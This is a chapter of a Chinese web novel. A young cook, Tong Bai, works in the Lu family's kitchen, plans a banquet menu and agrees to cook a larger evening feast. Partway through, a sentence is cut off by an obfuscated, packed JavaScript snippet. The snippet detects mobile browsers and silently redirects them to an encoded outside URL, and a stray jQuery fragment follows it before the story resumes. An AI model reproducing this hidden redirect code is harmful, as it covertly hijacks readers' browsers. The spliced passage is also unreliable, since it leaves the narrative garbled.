时间就在一众人各有心思中飞速流走,随着一道道美味佳肴烹饪好,那交缠在一起的香气充斥在后厨和童白的脑中。
她的金手指有个不好的地方,气味过于纷乱的时候,哪怕每一道都是美味,在她嗅来,不是享受而是折磨,是每一道都需占用脑容量分析的存在。
收拾完也不见崔老回来,童白待不住了,揉了揉太阳穴:“你们在这侯着,我出去透……”字才发出一个音,变为:“……出去看看。”本想说透气,但别人做的菜香,你说透气,这到底是嫌弃还是不满?哪一个都不能说出口来。
童白也没敢走远,这里是卢府,不是安仁坊,更不是双梧巷。才踏出后厨,一阵暖风迎面扑来,让被各种配方和火候闹晕的脑子得到缓解。
不由生出幸好出来了,为何不早点出来的感慨。
做着菜仍不忘关注她一举一动的鲁厨子见她只是在院子里站着,并没有东走西瞧,不免安下心来,这童小厨娘不仅厨艺好,人也是个通透的。
连瑞王府的赵管事都亲自上门拿取食物,且听言辞还想参加府上的家宴。看来晚上这场宴席,不简单。
也不知道背后有没有人的推波助澜,只是也不知道背后的人,是冲着童小厨娘还是卢家来,甚至是自己,他眼神幽暗,目光深沉,手上动作也没停。
前两日就从厨房帮杂那听来了不少童小厨娘厨艺如何好的话语,这种挑衅的话语,要是别人,或许会被激起想要一争高下的心思,或许还会起一些没必要的别的心思。
但他这人比较反骨,越是这般引,虽心里也不爽,但他偏不上当。
这不,还好没有上当,且看那陈嬷嬷能不能全身而退,还不知道呢。
没多久,童白就回来了,很快卢大管事和崔老相继进来,鲁厨子也没心思关注其他,张罗着厨房里的众人将菜放入木盘,一水儿的丫鬟们匆匆进来又匆匆出去,卢大管事盯着这一幕,什么话也没说,气场却将整个场面都稳住。
随着一道道菜肴端出去,卢大管事也在朝崔老拱手后,离开后厨。
菜肴端出去,后厨能休息一下,鲁厨子擦着汗,走到崔老面前,“老崔,你身份定然不简单。”语气笃定。
崔老也没想继续披着打杂老崔的马甲,笑着拍拍鲁厨子的胳膊,“倒也没多复杂,就是比帮厨杂役高一点,算是管事。”
童白闻言,抿唇没说话,心里笑着补充:嘿!啥管事,按她的理解,是幕僚。这种,可不是一句管事就能概括的。
但鲁厨子就信了,拱手弓腰行礼:“崔管事,久仰!”不管心里怎么想,面上周到的很。两人嘀咕着说了一阵,崔老一回来就朝几人招手:“徐忠,你回去一趟。让钱管事多带几个机灵的帮厨过来,比如说胡大,烧火光翠娘不够。”说着,拍了拍食材都还好,人还是用惯了的好用。
翠娘闻言,悄悄抬眼瞄了崔老一眼,是了,她适才一人照看六个炉灶,差点忙不过来。
徐忠应声“好嘞”,转身就往西角门走去,他们的马车停在那儿。瞧见着动静,鲁厨子招手喊道:“等等,让三儿带你过去。”他这插一嘴,可不算偷听,毕竟老崔,啊不,崔管事安排的时候也没避着人。
徐忠顿住,三儿跑出去,徐忠跟在三儿身后,出了院子。
童白低下头,心里明白,他们是统一战线,绝对不可能害自己。崔老这般慎重,只能说今日这事需要谨慎。那她也不能拖后腿。从竹篓里找出钱管事特意放进去的食材清单,拿出炭笔,思索起晚上的菜单来。
家宴,以照顾家人的口味为主,有宾客的宴席,真是不一样的,无论是菜式的设计,还是精致度,都不一样,要有前面的凉菜,还有饭后的甜品,也要有契合宾主的主菜和配菜,无论是搭配和摆盘,都有讲究。
比如,上回在崔府做的春日宴,就是以春日的时令食材为主,再契合参宴人员的喜好。
之前的菜单通过十九爷递给了卢三郎,经过确认后才定下来的,所以,最终菜单童白并不担心,只是,初拟菜单却是考验她的功力。
就跟做方案一样,初稿做的出色,老板自然更为满意。
羊肉是各大宴席缺一不少的肉食,禽类的鸡是跑不了的,至于鱼肉那自然也是需要的,不过,考虑到老夫人的牙口,她打算用鱼糜做鱼丸,再做一些猪肉丸,就做成关东煮串串的形式,形式新,味道也好,最主要,配菜可以准备很多,其实也算是另一种的火锅。
就是不知道参与宴席的人有多少,但这是卢家需要告知的,而她只需要将觉得可以做的菜式写下来,由卢家选择,就跟去餐馆点单一样。
童白用炭笔,一笔一划的在原本的菜单后添加觉得合适的菜式:松鼠鳜鱼、荤素串煮、海带菌菇排骨鸡汤、冷锅串串、素菜春卷、烫菜……
这些有她想做没做成的菜式,也有这段时日她做过的学堂午膳菜式。虽说陈娘子已经暴露,陈嬷嬷和她或许都被抓住看管起来。但她心里却总觉得,这陈娘子无非是个开胃菜罢了。
崔老见她写的仔细也没打扰她,交代一句“翠娘,你守在这里,有事去仓房寻我。”便背着手出了后厨。
鲁厨子边指挥着众人收拾后厨,边分心关注着童白她们的动静。眼见着崔管事踱步出去,童小厨娘捧着个黄纸本,拿根炭条时不时低头写写画画几下,他不禁侧目,这童小厨娘是识字还是只是胡乱画?
若是识字,只能说他选择不跟她作对是明智的选择。毕竟,哪怕是世家的奴仆,能有识字机会,必然是得宠和聪明的,再加上有几分本事,必然会不甘于泯然于众人。一旦得势,那些在她微末时欺辱过她的人,会有什么好下场?
想到此,鲁厨子脸色变了好几版,最后竟生出几分庆幸来。就在鲁厨子陷入思绪中时,外面传来几道脚步声。
后厨里的众人侧头往外看,翠娘拉了拉童白的衣袖,轻点下巴示意她往外看。
就见,卢大管事领着一名中年汉子来到后厨。
鲁厨子几步迎上前,笑着拱手招呼道:“鲁勋见过大管事和二管事。”
童白不着痕迹地多看了新来的二管事几眼,记下他的样貌和举止。
双方寒暄了几句,二管事上前,递出个深青色的荷包给鲁厨子,笑道:“这是范阳来的嫡系的二十三郎君赏的,说你们午膳费心了。”
鲁厨子笑得见牙不见眼的接过那荷包,“谢二十三郎君,”又朝他们分别鞠个躬,“劳烦大管事和二管事了,后厨后续定会认真、小心伺候。”
这谄媚的模样,惹得童白几人偷着多看了好几眼。可真是跟鲁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17075519|178855||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
厨子的外貌太不搭了,可见其能在卢家坐上大厨之位,是有几分说道。
原本以为只是看热闹,没成想,两位管事走到童白几人面前,卢二管事笑道:“主子让我来跟童小娘子知会一声,晚上的宴席比之前所说的人数要多。不知童小厨娘可愿接下?”
童白心里“咯噔”一下。来了来了,卢家来谈事了,可崔老偏偏不在。这个时候,她能拒绝吗?
不能。她的事业能否在长安城顺利开展起来,今晚这场宴席是关键,她绝对不能错过这次机会。
童白深吸一口气,稳住心神,对两位管事行叉手礼,声音平淡却又带着力量:“小女子愿意一试。”
听到她这话,卢家两位管事对视一眼,彼此眼中都闪过一丝释然,悄悄松了一口气。
来之前,夫人特意交待过他们:“这位童小厨娘得三郎君看重,三郎君出于孝心,才请她来为长辈做膳食,没成想,却被府上的刁奴给欺负了。于情于理你们都得对她客气些,莫要再怠慢了她。”
俩人私下琢磨了一下,夫人的意思是,虽然选择权交给了童小厨娘,但最好能由童小厨娘接下晚宴的差事。
卢二管事颔首,温声笑道:“童小厨娘能同意自然是好。只是与宴人数增加,食材和人手方面,童小厨娘可需要我们再做些什么?”十人的家宴和近二十人的宴席,菜肴的多少和菜式自然不一样。
童白略一思索,回道:“食材方面,烦请管事让人再增补些鲜活的鱼、肉和时令蔬菜;人手的话,已经让人去调了,应该足够。若是还有缺口,我再让人去告知二位管事。”
一旁的鲁厨子适时表明态度,“童小厨娘若有需要,后厨的人都可供你差遣。”且不说近两日在后厨的传言真假各多少,就冲两位管事对童小厨娘的态度,他都不能得罪对方。
此刻他不由庆幸他只是示意仓房管事为难对方,但也只是为难,并未做出不可挽回之事。
童白朝鲁厨子微微颔首,“有劳鲁厨子。”
“好说,好说。”卢二管事笑着应下,“那我们就不打扰童小娘子忙活了,有任何事,随时让人来前院寻我们。”
“有劳二位管事。”
看着两位管事离开的背影,鲁厨子笑道:“童小厨娘,后厨就这么大,我们要都在这里,等你的人手到了,只会添乱,”他瞧着还在低头收拾的众人,“等他们收拾干净,我们将这里空出给你发挥。”他太清楚不能帮忙还添乱的感受,既然没打算为难对方,他不若卖个顺水的人情,给对方留出发挥空间。
童白没想到鲁厨子如此上道,这样还省得她找借口让他们离开,她真心笑道:“那我就不客气了!”
鲁厨子等众人将厨房留出来给童白,而徐忠刚好带着钱管事和胡大等人赶了过来。钱管事一进门就问:“童小厨娘,卢家那边可有什么说法?人手我给你带来了,都是手脚麻利的。”
童白抬眼看向众人,语气沉稳:“今晚宴席人数增加了,咱们得加把劲。徐忠、胡大,你们领着人先去把炉灶再检查一遍;翠娘,钱管事,你们跟我去趟隔壁卢府仓房。”不得不说,还是用熟人更得劲儿。
“好!”众人齐声应下,各自忙活了起来。后厨里再次响起锅碗瓢盆的碰撞声,却比之前多了几分井然有序的笃定。